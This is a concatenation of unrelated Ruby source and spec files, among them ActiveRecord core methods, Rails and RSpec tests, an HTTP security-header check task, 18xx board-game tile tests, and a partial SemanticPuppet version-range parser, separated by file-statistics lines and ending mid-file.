init_internals @new_record = coder["new_record"] self.class.define_attribute_methods yield self if block_given? _run_find_callbacks _run_initialize_callbacks self end ## # :method: clone # Identical to Ruby's clone method. This is a "shallow" copy. Be warned that your attributes are not copied. # That means that modifying attributes of the clone will modify the original, since they will both point to the # same attributes hash. If you need a copy of your attributes hash, please use the #dup method. # # user = User.first # new_user = user.clone # user.name # => "Bob" # new_user.name = "Joe" # user.name # => "Joe" # # user.object_id == new_user.object_id # => false # user.name.object_id == new_user.name.object_id # => true # # user.name.object_id == user.dup.name.object_id # => false ## # :method: dup # Duped objects have no id assigned and are treated as new records. Note # that this is a "shallow" copy as it copies the object's attributes # only, not its associations. The extent of a "deep" copy is application # specific and is therefore left to the application to implement according # to its need. # The dup method does not preserve the timestamps (created|updated)_(at|on). ## def initialize_dup(other) # :nodoc: @attributes = @attributes.deep_dup @attributes.reset(self.class.primary_key) _run_initialize_callbacks @new_record = true @destroyed = false super end # Populate +coder+ with attributes about this record that should be # serialized. The structure of +coder+ defined in this method is # guaranteed to match the structure of +coder+ passed to the #init_with # method. # # Example: # # class Post < ActiveRecord::Base # end # coder = {} # Post.new.encode_with(coder) # coder # => {"attributes" => {"id" => nil, ... }} def encode_with(coder) self.class.yaml_encoder.encode(@attributes, coder) coder["new_record"] = new_record? coder["active_record_yaml_version"] = 2 end # Returns true if +comparison_object+ is the same exact object, or +comparison_object+ # is of the same type and +self+ has an ID and it is equal to +comparison_object.id+. # # Note that new records are different from any other record by definition, unless the # other record is the receiver itself. Besides, if you fetch existing records with # +select+ and leave the ID out, you're on your own, this predicate will return false. # # Note also that destroying a record preserves its ID in the model instance, so deleted # models are still comparable. def ==(comparison_object) super || comparison_object.instance_of?(self.class) && !id.nil? && comparison_object.id == id end alias :eql? :== # Delegates to id in order to allow two records of the same type and id to work with something like: # [ Person.find(1), Person.find(2), Person.find(3) ] & [ Person.find(1), Person.find(4) ] # => [ Person.find(1) ] def hash if id self.class.hash ^ self.id.hash else super end end # Clone and freeze the attributes hash such that associations are still # accessible, even on destroyed records, but cloned models will not be # frozen. def freeze @attributes = @attributes.clone.freeze self end # Returns +true+ if the attributes hash has been frozen. def frozen? @attributes.frozen? end # Allows sort on objects def <=>(other_object) if other_object.is_a?(self.class) self.to_key <=> other_object.to_key else super end end # Returns +true+ if the record is read only. Records loaded through joins with piggy-back # attributes will be marked as read only since they cannot be saved. def readonly? @readonly end # Marks this record as read only. def readonly! @readonly = true end def connection_handler self.class.connection_handler end # Returns the contents of the record as a nicely formatted string. def inspect # We check defined?(@attributes) not to issue warnings if the object is # allocated but not initialized. inspection = if defined?(@attributes) && @attributes self.class.attribute_names.collect do |name| if has_attribute?(name) "#{name}: #{attribute_for_inspect(name)}" end end.compact.join(", ") else "not initialized" end "#<#{self.class} #{inspection}>" end # Takes a PP and prettily prints this record to it, allowing you to get a nice result from <tt>pp record</tt> # when pp is required. def pretty_print(pp) return super if custom_inspect_method_defined? pp.object_address_group(self) do if defined?(@attributes) && @attributes column_names = self.class.column_names.select { |name| has_attribute?(name) || new_record? } pp.seplist(column_names, proc { pp.text "," }) do |column_name| column_value = read_attribute(column_name) pp.breakable " " pp.group(1) do pp.text column_name pp.text ":" pp.breakable pp.pp column_value end end else pp.breakable " " pp.text "not initialized" end end end # Returns a hash of the given methods with their names as keys and returned values as values. def slice(*methods) Hash[methods.flatten.map! { |method| [method, public_send(method)] }].with_indifferent_access end private # +Array#flatten+ will call +#to_ary+ (recursively) on each of the elements of # the array, and then rescues from the possible +NoMethodError+. If those elements are # +ActiveRecord::Base+'s, then this triggers the various +method_missing+'s that we have, # which significantly impacts upon performance. # # So we can avoid the +method_missing+ hit by explicitly defining +#to_ary+ as +nil+ here. # # See also http://tenderlovemaking.com/2011/06/28/til-its-ok-to-return-nil-from-to_ary.html def to_ary nil end def init_internals @readonly = false @destroyed = false @marked_for_destruction = false @destroyed_by_association = nil @new_record = true @txn = nil @_start_transaction_state = {} @transaction_state = nil end def initialize_internals_callback end def thaw if frozen? @attributes = @attributes.dup end end def custom_inspect_method_defined? self.class.instance_method(:inspect).owner != ActiveRecord::Base.instance_method(:inspect).owner end end end
33.79346
119
0.632933
f75561e8c319192ae07bff840e9aa3fd15b6b92a
1,415
describe Catalog::UnshareResource, :type => :service do let(:portfolio) { create(:portfolio) } let(:group1) { instance_double(RBACApiClient::GroupOut, :name => 'group1', :uuid => "123") } let(:permissions) { ['read', 'update'] } let(:rs_class) { class_double("Insights::API::Common::RBAC::Service").as_stubbed_const(:transfer_nested_constants => true) } let(:api_instance) { double } let(:principal_options) { {:scope=>"principal"} } let(:params) do { :group_uuids => [group1.uuid], :permissions => permissions, :object => portfolio } end before do allow(rs_class).to receive(:call).with(RBACApiClient::GroupApi).and_yield(api_instance) allow(Insights::API::Common::RBAC::Service).to receive(:paginate).with(api_instance, :list_groups, principal_options).and_return([group1]) allow(Insights::API::Common::RBAC::Service).to receive(:paginate).with(api_instance, :list_groups, {}).and_return([group1]) create(:access_control_entry, :has_read_permission, :group_uuid => group1.uuid, :aceable => portfolio) create(:access_control_entry, :has_update_permission, :group_uuid => group1.uuid, :aceable => portfolio) end let(:subject) { described_class.new(params) } it "#process" do expect(portfolio.access_control_entries.count).to eq(2) subject.process portfolio.reload expect(portfolio.access_control_entries.count).to eq(0) end end
44.21875
142
0.708834
e83f4e5cbf7ecb539cdb50b087d1dddd16ab903e
1,662
module Intrigue class UriCheckSecurityHeaders < BaseTask include Intrigue::Task::Web def metadata { :name => "uri_check_security_headers", :pretty_name => "URI Check Security Headers", :authors => ["jcran"], :description => "This task checks for typical HTTP security headers on a web application", :references => [], :allowed_types => ["Uri"], :example_entities => [{"type" => "Uri", "attributes" => {"name" => "http://www.intrigue.io"}}], :allowed_options => [], :created_types => ["Info"] } end def run super uri = _get_entity_attribute "name" response = http_get(uri) security_headers = [ "strict-transport-security", "x-frame-options", "x-xss-protection", "x-content-type-options", "content-security-policy", "content-security-policy-report-only"] if response found_security_headers = [] response.each_header do |name,value| _log "Checking #{name}" if security_headers.include? name _log_good "Got header #{name}" found_security_headers << {:name => name, :value => value} end # end if end # end each_header # If we have identified any headers... if found_security_headers.count > 0 _create_entity("Info", { "name" => "#{uri} provides HTTP security headers", "uri" => "#{uri}", "security_header_check" => true, "security_headers" => found_security_headers, #"headers" => response.each_header.map{|name,value| {:name => name, :value => value} } }) end end # response end #end run end end
29.157895
101
0.600481
e93077c42e1110c81e0a9db2cb3c18a165f70523
4,641
# frozen_string_literal: true RSpec.shared_examples 'resource mentions migration' do |migration_class, resource_class| it 'migrates resource mentions' do join = migration_class::JOIN conditions = migration_class::QUERY_CONDITIONS expect do subject.perform(resource_class.name, join, conditions, false, resource_class.minimum(:id), resource_class.maximum(:id)) end.to change { user_mentions.count }.by(1) user_mention = user_mentions.last expect(user_mention.mentioned_users_ids.sort).to eq(mentioned_users.pluck(:id).sort) expect(user_mention.mentioned_groups_ids.sort).to eq([group.id]) expect(user_mention.mentioned_groups_ids.sort).not_to include(inaccessible_group.id) # check that performing the same job twice does not fail and does not change counts expect do subject.perform(resource_class.name, join, conditions, false, resource_class.minimum(:id), resource_class.maximum(:id)) end.to change { user_mentions.count }.by(0) end end RSpec.shared_examples 'resource notes mentions migration' do |migration_class, resource_class| it 'migrates mentions from note' do join = migration_class::JOIN conditions = migration_class::QUERY_CONDITIONS # there are 5 notes for each noteable_type, but two do not have mentions and # another one's noteable_id points to an inexistent resource expect(notes.where(noteable_type: resource_class.to_s).count).to eq 5 expect(user_mentions.count).to eq 0 expect do subject.perform(resource_class.name, join, conditions, true, Note.minimum(:id), Note.maximum(:id)) end.to change { user_mentions.count }.by(2) # check that the user_mention for regular note is created user_mention = user_mentions.first expect(Note.find(user_mention.note_id).system).to be false expect(user_mention.mentioned_users_ids.sort).to eq(users.pluck(:id).sort) expect(user_mention.mentioned_groups_ids.sort).to eq([group.id]) expect(user_mention.mentioned_groups_ids.sort).not_to include(inaccessible_group.id) # check that the user_mention for system note is created user_mention = user_mentions.second expect(Note.find(user_mention.note_id).system).to be true expect(user_mention.mentioned_users_ids.sort).to eq(users.pluck(:id).sort) expect(user_mention.mentioned_groups_ids.sort).to eq([group.id]) expect(user_mention.mentioned_groups_ids.sort).not_to include(inaccessible_group.id) # check that performing the same job twice does not fail and does not change counts expect do subject.perform(resource_class.name, join, conditions, true, Note.minimum(:id), Note.maximum(:id)) end.to change { user_mentions.count }.by(0) end end RSpec.shared_examples 'schedules resource mentions migration' do |resource_class, is_for_notes| before do stub_const("#{described_class.name}::BATCH_SIZE", 1) end it 'schedules background migrations' do Sidekiq::Testing.fake! do freeze_time do resource_count = is_for_notes ? Note.count : resource_class.count expect(resource_count).to eq 5 migrate! migration = described_class::MIGRATION join = described_class::JOIN conditions = described_class::QUERY_CONDITIONS delay = described_class::DELAY expect(migration).to be_scheduled_delayed_migration(1 * delay, resource_class.name, join, conditions, is_for_notes, resource1.id, resource1.id) expect(migration).to be_scheduled_delayed_migration(2 * delay, resource_class.name, join, conditions, is_for_notes, resource2.id, resource2.id) expect(migration).to be_scheduled_delayed_migration(3 * delay, resource_class.name, join, conditions, is_for_notes, resource3.id, resource3.id) expect(BackgroundMigrationWorker.jobs.size).to eq 3 end end end end RSpec.shared_examples 'resource migration not run' do |migration_class, resource_class| it 'does not migrate mentions' do join = migration_class::JOIN conditions = migration_class::QUERY_CONDITIONS expect do subject.perform(resource_class.name, join, conditions, false, resource_class.minimum(:id), resource_class.maximum(:id)) end.to change { user_mentions.count }.by(0) end end RSpec.shared_examples 'resource notes migration not run' do |migration_class, resource_class| it 'does not migrate mentions' do join = migration_class::JOIN conditions = migration_class::QUERY_CONDITIONS expect do subject.perform(resource_class.name, join, conditions, true, Note.minimum(:id), Note.maximum(:id)) end.to change { user_mentions.count }.by(0) end end
43.373832
151
0.751347
5d82ed5f626d17ffa9ebebae2abfbe164fe2d608
585
class Node < Struct.new(:value, :left, :right) end root = Node.new(10, Node.new(5, Node.new(1)), Node.new(50, Node.new(40), Node.new(100))) def count(node, low, high, cunt) return true if node.nil? left = count(node.left, low, high, cunt) right = count(node.right, low, high, cunt) if left && right && node.value.between?(low, high) cunt[0] += 1 return true end return false end cunt = [0] count(root, 1, 45, cunt) puts cunt.inspect
21.666667
54
0.504274
f786b4404d50dd05f6422e4b829f34698532b1df
622
require_relative './github_lib' require_relative './drone' module Active_builds def Active_builds.get_builds(repo_names, builds_server, builds_server_token, fn_get_builds, fn_get_active_branches) branches_all_repos = fn_get_active_branches.call(repo_names) builds = fn_get_builds.call(repo_names, builds_server, builds_server_token) builds_with_active_branches = builds.select do |build| branches_all_repos.any? do |branches_one_repo| branches_one_repo[:repo] == build[:repo] && branches_one_repo[:branches].include?(build[:branch]) end end builds_with_active_branches end end
38.875
117
0.78135
38872148298f19a31443e84e5a12aa6f8351c70a
3,072
# frozen_string_literal: true module UiRules class MarketingOrderRule < Base def generate_rules # rubocop:disable Metrics/AbcSize @repo = ProductionApp::OrderRepo.new @party_repo = MasterfilesApp::PartyRepo.new @calender_repo = MasterfilesApp::CalendarRepo.new make_form_object apply_form_values @rules[:completed] = form_object.completed @rules[:hide_cumulative_work_order_items] = @repo.marketing_order_work_order_items(@options[:id]).empty? common_values_for_fields common_fields set_edit_fields_for_completed if form_object.completed set_show_fields if %i[show reopen].include? @mode form_name 'marketing_order' end def set_show_fields customer_party_role_id_label = @repo.get(:party_roles, :id, @form_object.customer_party_role_id) season_id_label = @repo.get(:seasons, :season_code, @form_object.season_id) fields[:customer_party_role_id] = { renderer: :label, with_value: customer_party_role_id_label, caption: 'Customer Party Role' } fields[:season_id] = { renderer: :label, with_value: season_id_label, caption: 'Season' } fields[:order_number] = { renderer: :label } fields[:order_reference] = { renderer: :label } fields[:active] = { renderer: :label, as_boolean: true } fields[:completed] = { renderer: :label, as_boolean: true } fields[:completed_at] = { renderer: :label, format: :without_timezone_or_seconds } end def set_edit_fields_for_completed set_show_fields end def common_fields { customer_party_role_id: { renderer: :select, options: @party_repo.for_select_party_roles(AppConst::ROLE_CUSTOMER), disabled_options: @party_repo.for_select_inactive_party_roles(AppConst::ROLE_CUSTOMER), caption: 'Customer', required: true, prompt: true }, season_id: { renderer: :select, options: @calender_repo.for_select_seasons, disabled_options: @calender_repo.for_select_inactive_seasons, caption: 'Season', required: true, prompt: true }, order_number: { required: true }, order_reference: { required: true }, completed: { renderer: :label, as_boolean: true }, completed_at: { disabled: true } } end def make_form_object if @mode == :new make_new_form_object return end @form_object = @repo.find_marketing_order(@options[:id]) end def make_new_form_object @form_object = OpenStruct.new(customer_party_role_id: nil, season_id: nil, order_number: nil, order_reference: nil, completed: nil, completed_at: nil) end end end
38.886076
134
0.607422
9146451f518603c74e3a701b07810c4c5e8da597
2,230
require 'test_helper' class UsersControllerTest < ActionDispatch::IntegrationTest def setup @user = users(:michael) @other_user = users(:archer) end test "should redirect index when not logged in" do get users_path assert_redirected_to login_url end test "should get new" do get signup_path assert_response :success end test "should redirect edit when not logged in" do get edit_user_path(@user) assert_not flash.empty? assert_redirected_to login_url end test "should redirect update when not logged in" do patch user_path(@user), params: { user: {name: @user.name, email: @user.email } } assert_not flash.empty? assert_redirected_to login_url end test "should redirect edit when logged in as wrong user" do log_in_as(@other_user) get edit_user_path(@user) assert flash.empty? assert_redirected_to root_url end test "should redirect update when logged in as wrong user" do log_in_as(@other_user) patch user_path(@user), params: { user: { name: @user.name, email: @user.email } } assert flash.empty? assert_redirected_to root_url end test "should not allow the admin attribute to be adited via the web" do log_in_as(@other_user) assert_not @other_user.admin? patch user_path(@other_user), params: { user: { password: "password", password_confirmation: "password", admin: true } } assert_not @other_user.reload.admin? end test "should redirect destroy when not logged in" do assert_no_difference 'User.count' do delete user_path(@user) end assert_redirected_to login_url end test "should redirect destroy when logged in as a non-admin" do log_in_as(@other_user) assert_no_difference 'User.count' do delete user_path(@user) end assert_redirected_to root_url end test "should redirect following when not logged in" do get following_user_path(@user) assert_redirected_to login_url end test "should redirect followers when not logged in" do get followers_user_path(@user) assert_redirected_to login_url end end
26.235294
73
0.686996
ed7a71fb44ef68dcf6644308010e4e4d7a8b89b7
125
class AddColumnToCharacter < ActiveRecord::Migration[6.0] def change add_column :characters, :image, :string end end
20.833333
57
0.752
ab0f0bb5c3efa62cd643307e689b95fe209558e2
1,153
require File.expand_path('../boot', __FILE__) require 'rails/all' # Require the gems listed in Gemfile, including any gems # you've limited to :test, :development, or :production. Bundler.require(*Rails.groups) module BigTwoScoreboard class Application < Rails::Application # Settings in config/environments/* take precedence over those specified here. # Application configuration should go into files in config/initializers # -- all .rb files in that directory are automatically loaded. # Set Time.zone default to the specified zone and make Active Record auto-convert to this zone. # Run "rake -D time" for a list of tasks for finding time zone names. Default is UTC. # config.time_zone = 'Central Time (US & Canada)' config.time_zone = "Taipei" # The default locale is :en and all translations from config/locales/*.rb,yml are auto loaded. # config.i18n.load_path += Dir[Rails.root.join('my', 'locales', '*.{rb,yml}').to_s] config.i18n.default_locale = :tw # Do not swallow errors in after_commit/after_rollback callbacks. config.active_record.raise_in_transactional_callbacks = true end end
41.178571
99
0.734605
1a9dc7acbe44373b959e4fc74616a8df46cd8196
37
module Daiku VERSION = "0.2.2" end
9.25
19
0.648649
2830618e6a36bb58efdc864dbd4720a3f4273b69
245
require 'sinatra' require 'sinatra/reloader' require 'sinatra/activerecord' set :database, "sqlite3:database.db" # class Client < ActiveRecord::Base # validates :name, presence: true, length: { minimum: 3 } # end get '/' do erb :index end
18.846154
59
0.714286
3823e3f7e86d0ae53a4952b754eab39ad156739e
6,577
# frozen_string_literal: true require './spec/spec_helper' EXPECTED_TILE_UPGRADES = { '18Chesapeake' => { 'X3' => %w[X7], 'X4' => %w[X7], 'X5' => %w[X7], 'X7' => %w[], }, '1889' => { 'blank' => %w[7 8 9], 'city' => %w[5 6 57], 'town' => %w[3 58 437], '3' => %w[], '5' => %w[12 14 15 205 206], '6' => %w[12 13 14 15 205 206], '7' => %w[26 27 28 29], '8' => %w[16 19 23 24 25 28 29], '9' => %w[19 20 23 24 26 27], '12' => %w[448 611], '13' => %w[611], '14' => %w[611], '15' => %w[448 611], '16' => %w[], '19' => %w[45 46], '20' => %w[47], '23' => %w[41 45 47], '24' => %w[42 46 47], '25' => %w[40 45 46], '26' => %w[42 45], '27' => %w[41 46], '28' => %w[39 46], '29' => %w[39 45], '39' => %w[], '40' => %w[], '41' => %w[], '42' => %w[], '45' => %w[], '46' => %w[], '47' => %w[], '57' => %w[14 15 205 206], '58' => %w[], '205' => %w[448 611], '206' => %w[448 611], '437' => %w[], '438' => %w[439], '439' => %w[492], '440' => %w[466], '448' => %w[], '465' => %w[], '466' => %w[], '492' => %w[], '611' => %w[], }, }.freeze module Engine include Engine::Part describe Tile do describe '#path_track' do it 'should be the the right gauge' do expect(Tile.for('7').paths[0].track).to eq(:broad) expect(Tile.for('78').paths[0].track).to eq(:narrow) end end describe '#exits' do it 'should have the right exits' do expect(Tile.for('6').exits.to_a).to eq([0, 2]) expect(Tile.for('7').exits.to_a.sort).to eq([0, 1]) end end describe '#paths_are_subset_of?' do context "Tile 9's path set" do subject { Tile.for('9') } it 'is subset of itself' do straight_path = [Path.new(Edge.new(0), Edge.new(3))] expect(subject.paths_are_subset_of?(straight_path)).to be_truthy end it 'is subset of itself reversed' do straight_path = [Path.new(Edge.new(3), Edge.new(0))] expect(subject.paths_are_subset_of?(straight_path)).to be_truthy end it 'is subset of itself rotated 1' do straight_path = [Path.new(Edge.new(1), Edge.new(4))] expect(subject.paths_are_subset_of?(straight_path)).to be_truthy end end end describe '#upgrades_to?' do EXPECTED_TILE_UPGRADES.each do |game_title, upgrades| it "correctly upgrades tiles for #{game_title}" do game = Engine.game_by_title(game_title).new(%w[p1 p2 p3]) aggregate_failures 'tile upgrades' do upgrades.keys.each do |t| tile = game.hex_by_id(t)&.tile || game.tile_by_id("#{t}-0") || Tile.for(t) upgrades.keys.each do |u| upgrade = game.hex_by_id(u)&.tile || game.tile_by_id("#{u}-0") || Tile.for(u) expected_included = upgrades[t].include?(u) expected_string = "#{t} #{expected_included ? '<' : '!<'} #{u}" actual_included = game.upgrades_to?(tile, upgrade) actual_string = "#{t} #{actual_included ? '<' : '!<'} #{u}" expect(actual_string).to eq(expected_string) end end end end end end describe '#preferred_city_town_edges' do [ { desc: "18Chesapeake's X3", code: 'city=revenue:40;city=revenue:40;path=a:0,b:_0;path=a:_0,b:2;path=a:3,b:_1;path=a:_1,b:5;label=OO', expected: { 0 => [2, 5], 1 => [1, 4], 2 => [4, 1], 3 => [5, 2], 4 => [4, 1], 5 => [1, 4], }, }, { desc: "18Chesapeake's X5", code: 'city=revenue:40;city=revenue:40;path=a:3,b:_0;path=a:_0,b:5;path=a:0,b:_1;path=a:_1,b:4;label=OO', expected: { 0 => [3, 0], 1 => [4, 1], 2 => [5, 2], 3 => [0, 3], 4 => [1, 4], 5 => [2, 5], }, }, { desc: "18Chesapeake's H6 hex (Baltimore)", code: 'city=revenue:30;city=revenue:30;path=a:1,b:_0;path=a:4,b:_1;label=OO;upgrade=cost:40,terrain:water', expected: { 0 => [1, 4], }, }, { desc: "18Chesapeake's J4 hex (Philadelphia)", code: 'city=revenue:30;city=revenue:30;path=a:0,b:_0;path=a:3,b:_1;label=OO', expected: { 0 => [0, 3], }, }, { desc: "1846's tile #298 (green Chi)", code: 'city=revenue:40;city=revenue:40;city=revenue:40;city=revenue:40;'\ 'path=a:0,b:_0;path=a:_0,b:3;'\ 'path=a:1,b:_1;path=a:_1,b:3;'\ 'path=a:4,b:_2;path=a:_2,b:3;'\ 'path=a:5,b:_3;path=a:_3,b:3;'\ 'label=Chi', expected: { 0 => [0, 1, 4, 5], }, }, { desc: "18Carolina's G19 hex (Wilmington)", code: 'city=revenue:30;city=revenue:0;path=a:1,b:_0;label=C', expected: { 0 => [1, 4], }, }, ].each do |spec| describe "with #{spec[:desc]}" do tile = Tile.from_code('name', 'color', spec[:code]) spec[:expected].each do |rotation, expected| it "selects #{expected} for rotation #{rotation}" do tile.rotate!(rotation) actual = tile.preferred_city_town_edges expected_h = expected.map.with_index do |edge, index| [tile.cities[index], edge] end.to_h expect(actual).to eq(expected_h) end end end end end describe '#revenue_to_render' do { '1846' => { 'C15' => [40], 'C17' => [{ yellow: 40, brown: 60 }], 'D6' => [10, 10, 10, 10], }, '1882' => { 'D8' => [30], 'J10' => [40, 40], 'O11' => [{ yellow: 30, brown: 30 }], }, }.each do |game_title, specs| game = Engine.game_by_title(game_title).new(%w[p1 p2 p3]) describe game_title do specs.each do |hex, expected_revenue| tile = game.hex_by_id(hex).tile it "returns #{expected_revenue} for #{tile.name}" do expect(tile.revenue_to_render).to eq(expected_revenue) end end end end end end end
28.720524
117
0.459784
1d4522ed61afc9160ef4589067a2408b43cee982
2,720
# == Schema Information # # Table name: sawmills # # id :integer not null, primary key # name :string # lat :float # lng :float # is_active :boolean default("true"), not null # operator_id :integer not null # created_at :datetime not null # updated_at :datetime not null # geojson :jsonb # require 'rails_helper' RSpec.describe Sawmill, type: :model do subject(:sawmill) { FactoryBot.build(:sawmill) } it 'is valid with valid attributes' do expect(sawmill).to be_valid end describe 'Validations' do it { is_expected.to validate_numericality_of(:lat) .is_greater_than_or_equal_to(-90) .is_less_than_or_equal_to(90) } it { is_expected.to validate_numericality_of(:lng) .is_greater_than_or_equal_to(-180) .is_less_than_or_equal_to(180) } end describe 'Hooks' do describe '#update_geojson' do it 'update geojson data' do sawmill = create(:sawmill) sawmill.reload expect(sawmill.geojson).to eql({ 'id' => sawmill.id, 'type' => 'Feature', 'geometry' => { 'type' => 'Point', # ST_AsGeoJSON: we use value 9 for maxdecimaldigits argument. 'coordinates' => [sawmill.lng.round(9), sawmill.lat.round(9)] }, 'properties' => { 'name' => sawmill.name, 'is_active' => sawmill.is_active, 'operator_id' => sawmill.operator_id } }) end end end describe 'Class methods' do describe '#fetch_all' do before :all do @operator = create(:operator) another_operator = create(:operator) create(:sawmill, operator: @operator, is_active: false) create(:sawmill, operator: another_operator, is_active: true) create(:sawmill, operator: @operator, is_active: true) end context 'when operator_ids and active are not specified' do it 'fetch all sawmills' do expect(Sawmill.fetch_all(nil).count).to eq(Sawmill.all.size) end end context 'when operator_ids is specified' do it 'fetch sawmills filtered by operators' do expect(Sawmill.fetch_all({'operator_ids' => @operator.id.to_s}).to_a).to eql( Sawmill.includes(:operator).where(operator_id: @operator.id).to_a ) end end context 'when active is specified' do it 'fetch sawmills filtered by active' do expect(Sawmill.fetch_all({'active' => true}).to_a).to eql( Sawmill.includes(:operator).where(is_active: true).to_a ) end end end end end
28.631579
87
0.597059
6190e8c11bdafa63daaf31957e5c93ce3556e4dc
21,467
require 'semantic_puppet' module SemanticPuppet # A Semantic Version Range. # # @see https://github.com/npm/node-semver for full specification # @api public class VersionRange UPPER_X = 'X'.freeze LOWER_X = 'x'.freeze STAR = '*'.freeze NR = '0|[1-9][0-9]*'.freeze XR = '(x|X|\*|' + NR + ')'.freeze XR_NC = '(?:x|X|\*|' + NR + ')'.freeze PART = '(?:[0-9A-Za-z-]+)'.freeze PARTS = PART + '(?:\.' + PART + ')*'.freeze QUALIFIER = '(?:-(' + PARTS + '))?(?:\+(' + PARTS + '))?'.freeze QUALIFIER_NC = '(?:-' + PARTS + ')?(?:\+' + PARTS + ')?'.freeze PARTIAL = XR_NC + '(?:\.' + XR_NC + '(?:\.' + XR_NC + QUALIFIER_NC + ')?)?'.freeze # The ~> isn't in the spec but allowed SIMPLE = '([<>=~^]|<=|>=|~>|~=)?(' + PARTIAL + ')'.freeze SIMPLE_EXPR = /\A#{SIMPLE}\z/.freeze SIMPLE_WITH_EXTRA_WS = '([<>=~^]|<=|>=)?\s+(' + PARTIAL + ')'.freeze SIMPLE_WITH_EXTRA_WS_EXPR = /\A#{SIMPLE_WITH_EXTRA_WS}\z/.freeze HYPHEN = '(' + PARTIAL + ')\s+-\s+(' + PARTIAL + ')'.freeze HYPHEN_EXPR = /\A#{HYPHEN}\z/.freeze PARTIAL_EXPR = /\A#{XR}(?:\.#{XR}(?:\.#{XR}#{QUALIFIER})?)?\z/.freeze LOGICAL_OR = /\s*\|\|\s*/.freeze RANGE_SPLIT = /\s+/.freeze # Parses a version range string into a comparable {VersionRange} instance. # # Currently parsed version range string may take any of the following: # forms: # # * Regular Semantic Version strings # * ex. `"1.0.0"`, `"1.2.3-pre"` # * Partial Semantic Version strings # * ex. `"1.0.x"`, `"1"`, `"2.X"`, `"3.*"`, # * Inequalities # * ex. `"> 1.0.0"`, `"<3.2.0"`, `">=4.0.0"` # * Approximate Caret Versions # * ex. `"^1"`, `"^3.2"`, `"^4.1.0"` # * Approximate Tilde Versions # * ex. `"~1.0.0"`, `"~ 3.2.0"`, `"~4.0.0"` # * Inclusive Ranges # * ex. `"1.0.0 - 1.3.9"` # * Range Intersections # * ex. `">1.0.0 <=2.3.0"` # * Combined ranges # * ex, `">=1.0.0 <2.3.0 || >=2.5.0 <3.0.0"` # # @param range_string [String] the version range string to parse # @return [VersionRange] a new {VersionRange} instance # @api public def self.parse(range_string) # Remove extra whitespace after operators. Such whitespace should not cause a split range_set = range_string.gsub(/([><=~^])(?:\s+|\s*v)/, '\1') ranges = range_set.split(LOGICAL_OR) return ALL_RANGE if ranges.empty? new(ranges.map do |range| if range =~ HYPHEN_EXPR MinMaxRange.create(GtEqRange.new(parse_version($1)), LtEqRange.new(parse_version($2))) else # Split on whitespace simples = range.split(RANGE_SPLIT).map do |simple| match_data = SIMPLE_EXPR.match(simple) raise ArgumentError, _("Unparsable version range: \"%{range}\"") % { range: range_string } unless match_data operand = match_data[2] # Case based on operator case match_data[1] when '~', '~>', '~=' parse_tilde(operand) when '^' parse_caret(operand) when '>' parse_gt_version(operand) when '>=' GtEqRange.new(parse_version(operand)) when '<' LtRange.new(parse_version(operand)) when '<=' parse_lteq_version(operand) when '=' parse_xrange(operand) else parse_xrange(operand) end end simples.size == 1 ? simples[0] : MinMaxRange.create(*simples) end end.uniq, range_string).freeze end def self.parse_partial(expr) match_data = PARTIAL_EXPR.match(expr) raise ArgumentError, _("Unparsable version range: \"%{expr}\"") % { expr: expr } unless match_data match_data end private_class_method :parse_partial def self.parse_caret(expr) match_data = parse_partial(expr) major = digit(match_data[1]) major == 0 ? allow_patch_updates(major, match_data) : allow_minor_updates(major, match_data) end private_class_method :parse_caret def self.parse_tilde(expr) match_data = parse_partial(expr) allow_patch_updates(digit(match_data[1]), match_data) end private_class_method :parse_tilde def self.parse_xrange(expr) match_data = parse_partial(expr) allow_patch_updates(digit(match_data[1]), match_data, false) end private_class_method :parse_xrange def self.allow_patch_updates(major, match_data, tilde_or_caret = true) return AllRange::SINGLETON unless major minor = digit(match_data[2]) return MinMaxRange.new(GtEqRange.new(Version.new(major, 0, 0)), LtRange.new(Version.new(major + 1, 0, 0))) unless minor patch = digit(match_data[3]) return MinMaxRange.new(GtEqRange.new(Version.new(major, minor, 0)), LtRange.new(Version.new(major, minor + 1, 0))) unless patch version = Version.new(major, minor, patch, Version.parse_prerelease(match_data[4]), Version.parse_build(match_data[5])) return EqRange.new(version) unless tilde_or_caret MinMaxRange.new(GtEqRange.new(version), LtRange.new(Version.new(major, minor + 1, 0))) end private_class_method :allow_patch_updates def self.allow_minor_updates(major, match_data) return AllRange.SINGLETON unless major minor = digit(match_data[2]) if minor patch = digit(match_data[3]) if patch.nil? MinMaxRange.new(GtEqRange.new(Version.new(major, minor, 0)), LtRange.new(Version.new(major + 1, 0, 0))) else if match_data[4].nil? MinMaxRange.new(GtEqRange.new(Version.new(major, minor, patch)), LtRange.new(Version.new(major + 1, 0, 0))) else MinMaxRange.new( GtEqRange.new( Version.new(major, minor, patch, Version.parse_prerelease(match_data[4]), Version.parse_build(match_data[5]))), LtRange.new(Version.new(major + 1, 0, 0))) end end else MinMaxRange.new(GtEqRange.new(Version.new(major, 0, 0)), LtRange.new(Version.new(major + 1, 0, 0))) end end private_class_method :allow_minor_updates def self.digit(str) (str.nil? || UPPER_X == str || LOWER_X == str || STAR == str) ? nil : str.to_i end private_class_method :digit def self.parse_version(expr) match_data = parse_partial(expr) major = digit(match_data[1]) || 0 minor = digit(match_data[2]) || 0 patch = digit(match_data[3]) || 0 Version.new(major, minor, patch, Version.parse_prerelease(match_data[4]), Version.parse_build(match_data[5])) end private_class_method :parse_version def self.parse_gt_version(expr) match_data = parse_partial(expr) major = digit(match_data[1]) return LtRange::MATCH_NOTHING unless major minor = digit(match_data[2]) return GtEqRange.new(Version.new(major + 1, 0, 0)) unless minor patch = digit(match_data[3]) return GtEqRange.new(Version.new(major, minor + 1, 0)) unless patch return GtRange.new(Version.new(major, minor, patch, Version.parse_prerelease(match_data[4]), Version.parse_build(match_data[5]))) end private_class_method :parse_gt_version def self.parse_lteq_version(expr) match_data = parse_partial(expr) major = digit(match_data[1]) return AllRange.SINGLETON unless major minor = digit(match_data[2]) return LtRange.new(Version.new(major + 1, 0, 0)) unless minor patch = digit(match_data[3]) return LtRange.new(Version.new(major, minor + 1, 0)) unless patch return LtEqRange.new(Version.new(major, minor, patch, Version.parse_prerelease(match_data[4]), Version.parse_build(match_data[5]))) end private_class_method :parse_lteq_version # Provides read access to the ranges. For internal use only # @api private attr_reader :ranges # Creates a new version range # @overload initialize(from, to, exclude_end = false) # Creates a new instance using ruby `Range` semantics # @param begin [String,Version] the version denoting the start of the range (always inclusive) # @param end [String,Version] the version denoting the end of the range # @param exclude_end [Boolean] `true` if the `end` version should be excluded from the range # @overload initialize(ranges, string) # Creates a new instance based on parsed content. For internal use only # @param ranges [Array<AbstractRange>] the ranges to include in this range # @param string [String] the original string representation that was parsed to produce the ranges # # @api private def initialize(ranges, string, 